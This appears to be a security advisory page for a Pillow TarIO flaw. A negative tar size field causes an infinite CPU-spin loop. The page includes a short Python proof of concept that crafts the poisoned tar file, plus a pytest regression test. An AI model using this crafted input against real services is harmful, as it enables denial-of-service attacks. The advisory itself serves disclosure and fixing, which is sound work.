CVE-2026-96642High· 7.1▾ TwilightPillow: TarIO negative size field causes infinite CPU-spin loop
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.1 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
TarIO.__init__ does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.
TarIO.__init__ reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.
The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.
This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.
from PIL import TarIO
with open("Tests/images/hopper.tar", "rb") as f:
data = bytearray(f.read())
# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b" -00001000"
with open("poisoned.tar", "wb") as f:
f.write(data)
# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")
We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.
A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.
from __future__ import annotations
from pathlib import Path
import pytest
from PIL import TarIO
SOURCE_TAR = "Tests/images/hopper.tar"
@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
with open(SOURCE_TAR, "rb") as f:
data = bytearray(f.read())
data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated
poisoned_tar = tmp_path / "poisoned.tar"
poisoned_tar.write_bytes(data)
with pytest.raises((OSError, ValueError)):
with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
pass
Pillow < 13.0.0Upgrade to a patched release:
Pillow 13.0.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-112390High· 7.5Pillow: Infinite loop in MIC n_frames when the embedded TIFF
CVE-2026-112391Medium· 7.5Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
CVE-2026-112406High· 7.5Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
CVE-2026-96637High· 7.1Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS
CVE-2026-96640High· 8.2Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
CVE-2026-96636Medium· 6.5Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)